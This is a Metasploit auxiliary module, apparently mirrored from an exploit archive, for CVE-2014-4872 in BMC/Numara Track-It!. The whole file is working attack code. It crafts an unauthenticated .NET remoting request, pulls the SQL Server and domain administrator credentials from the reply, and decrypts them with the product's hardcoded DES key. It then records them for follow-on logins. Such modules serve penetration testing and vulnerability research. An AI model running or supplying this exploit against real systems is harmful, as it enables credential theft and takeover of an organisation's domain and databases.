## https://sploitus.com/exploit?id=PACKETSTORM:180691
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure',
'Description' => %q{
This module exploits an unauthenticated configuration retrieval .NET remoting
service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain
Administrator and the SQL server user credentials.
This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,
10.0.0.143 and 9.0.30.248.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-4872' ],
[ 'OSVDB', '112741' ],
[ 'US-CERT-VU', '121036' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Oct/34' ]
],
'DisclosureDate' => '2014-10-07'
))
register_options(
[
OptPort.new('RPORT',
[true, '.NET remoting service port', 9010])
])
end
def prepare_packet(bmc)
#
# ConfigurationService packet structure:
#
# packet_header_pre_packet_size
# packet_size (4 bytes)
# packet_header_pre_uri_size
# uri_size (2 bytes)
# packet_header_pre_uri
# uri
# packet_header_post_uri
# packet_body_start_pre_method_size
# method_size (1 byte)
# method
# packet_body_pre_type_size
# type_size (1 byte)
# packet_body_pre_type
# type
# @packet_terminator
#
# .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx
#
# P.S.: Lots of fun stuff can be obtained from the response. Highlights include:
# - DatabaseServerName
# - DatabaseName
# - SchemaOwnerDatabaseUser
# - EncryptedSystemDatabasePassword
# - DomainAdminUserName
# - DomainAdminEncryptedPassword
#
packet_header_pre_packet_size= [
0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00
]
packet_header_pre_uri_size = [
0x04, 0x00, 0x01, 0x01
]
packet_header_pre_uri = [
0x00, 0x00
]
# contains binary type (application/octet-stream)
packet_header_post_uri = [
0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00,
0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65,
0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d,
0x00, 0x00
]
packet_body_start_pre_method_size = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12
]
packet_body_pre_type_size = [ 0x12 ]
packet_body_pre_type = [ 0x01 ]
@packet_terminator = [ 0x0b ]
service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))
method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))
type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt"))
uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service
packet_size =
packet_header_pre_uri_size.length +
2 + # uri_size
packet_header_pre_uri.length +
uri.length +
packet_header_post_uri.length +
packet_body_start_pre_method_size.length +
1 + # method_size
method.length +
packet_body_pre_type_size.length +
1 + # type_size
packet_body_pre_type.length +
type.length
# start of packet and packet size (4 bytes)
buf = packet_header_pre_packet_size.pack('C*')
buf << Array(packet_size).pack('L*')
# uri size (2 bytes)
buf << packet_header_pre_uri_size.pack('C*')
buf << Array(uri.length).pack('S*')
# uri
buf << packet_header_pre_uri.pack('C*')
buf << uri.bytes.to_a.pack('C*')
buf << packet_header_post_uri.pack('C*')
# method name
buf << packet_body_start_pre_method_size.pack('C*')
buf << Array(method.length).pack('C*')
buf << method.bytes.to_a.pack('C*')
# type name
buf << packet_body_pre_type_size.pack('C*')
buf << Array(type.length).pack('C*')
buf << packet_body_pre_type.pack('C*')
buf << type.bytes.to_a.pack('C*')
buf << @packet_terminator.pack('C*')
return buf
end
def fill_loot_from_packet(packet_reply, loot)
loot.each_key { |str|
if loot[str] != nil
next
end
if (index = (packet_reply.index(str))) != nil
# after str, discard 5 bytes then get str_value
size = packet_reply[index + str.length + 5,1].unpack('C*')[0]
if size == 255
# if we received 0xFF then there is no value for this str
# set it to empty but not nil so that we don't look for it again
loot[str] = ""
next
end
loot[str] = packet_reply[index + str.length + 6, size]
end
}
end
def run
packet = prepare_packet(true)
sock = connect
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
else
print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
end
sock.write(packet)
# type of database (Oracle or SQL Server)
database_type = "DatabaseType"
# Database server name (host\sid for Oracle or host\login_name for SQL Server)
database_server_name = "DatabaseServerName"
database_name = "DatabaseName"
schema_owner = "SchemaOwnerDatabaseUser"
database_pw = "EncryptedSystemDatabasePassword"
domain_admin_name = "DomainAdminUserName"
domain_admin_pw = "DomainAdminEncryptedPassword"
loot = {
database_type => nil,
database_server_name => nil,
database_name => nil,
schema_owner => nil,
database_pw => nil,
domain_admin_name => nil,
domain_admin_pw => nil
}
# We only break when we have a timeout (up to 15 seconds wait) or have all we need
while true
ready = IO.select([sock], nil, nil, 15)
if ready
packet_reply = sock.readpartial(4096)
else
print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.")
break
end
if packet_reply =~ /Service not found/
# This is most likely an older Numara version, re-do the packet and send again.
print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...")
sock.close
sock = connect
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
else
print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
end
packet = prepare_packet(false)
sock.write(packet)
packet_reply = sock.readpartial(4096)
end
fill_loot_from_packet(packet_reply, loot)
if not loot.has_value?(nil)
break
end
end
sock.close
# now set the values that were not found back to nil
loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) }
if loot[database_type]
print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}")
end
if loot[database_server_name]
print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}")
end
if loot[database_name]
print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}")
end
if loot[schema_owner]
print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}")
end
if loot[database_pw]
cipher = OpenSSL::Cipher.new("des")
cipher.decrypt
cipher.key = 'NumaraTI'
cipher.iv = 'NumaraTI'
loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw]))
loot[database_pw] << cipher.final
print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}")
end
if loot[domain_admin_name]
print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}")
end
if loot[domain_admin_pw]
cipher = OpenSSL::Cipher.new("des")
cipher.decrypt
cipher.key = 'NumaraTI'
cipher.iv = 'NumaraTI'
loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw]))
loot[domain_admin_pw] << cipher.final
print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}")
end
if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name]
# If it is Oracle we need to save the SID for creating the Credential Core, else we don't care
if loot[database_type] =~ /Oracle/i
sid = loot[database_server_name].split('\\')[1]
else
sid = nil
end
credential_core = report_credential_core({
password: loot[database_pw],
username: loot[schema_owner],
sid: sid
})
# Get just the hostname
db_address= loot[database_server_name].split('\\')[0]
begin
database_login_data = {
address: ::Rex::Socket.getaddress(db_address, true),
service_name: loot[database_type],
protocol: 'tcp',
workspace_id: myworkspace_id,
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# If it's Oracle, use the Oracle port, else use MSSQL
if loot[database_type] =~ /Oracle/i
database_login_data[:port] = 1521
else
database_login_data[:port] = 1433
end
create_credential_login(database_login_data)
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
rescue SocketError
print_error "Could not resolve Database Server Hostname."
end
print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}")
end
if loot[domain_admin_name] and loot[domain_admin_pw]
report_credential_core({
password: loot[domain_admin_pw],
username: loot[domain_admin_name].split('\\')[1],
domain: loot[domain_admin_name].split('\\')[0]
})
print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}")
end
end
def report_credential_core(cred_opts={})
# Set up the has for our Origin service
origin_service_data = {
address: rhost,
port: rport,
service_name: 'Domain',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: cred_opts[:password],
username: cred_opts[:username]
}
if cred_opts[:domain]
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: cred_opts[:domain]
})
elsif cred_opts[:sid]
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER,
realm_value: cred_opts[:sid]
})
end
credential_data.merge!(origin_service_data)
create_credential(credential_data)
end
end